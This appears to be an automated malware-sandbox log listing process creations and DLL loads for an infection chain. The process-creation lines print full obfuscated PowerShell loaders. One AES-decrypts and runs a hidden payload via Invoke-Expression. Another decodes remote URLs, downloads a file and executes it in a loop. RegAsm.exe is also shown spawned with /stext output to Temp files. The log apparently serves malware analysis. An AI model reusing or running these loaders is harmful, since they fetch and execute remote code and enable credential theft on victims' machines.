Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yrfptuyewdgikkwbbqnxbflydidjpkpem"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yrfptuyewdgikkwbbqnxbflydidjpkpem"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\jmlaun"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\tgqsvxbzg"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If (${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For( $truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman, $Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94 ' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1 0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94 ' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/ /,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94 'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,). ');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance (Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance (Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance (Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit) {Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance (Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes9	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
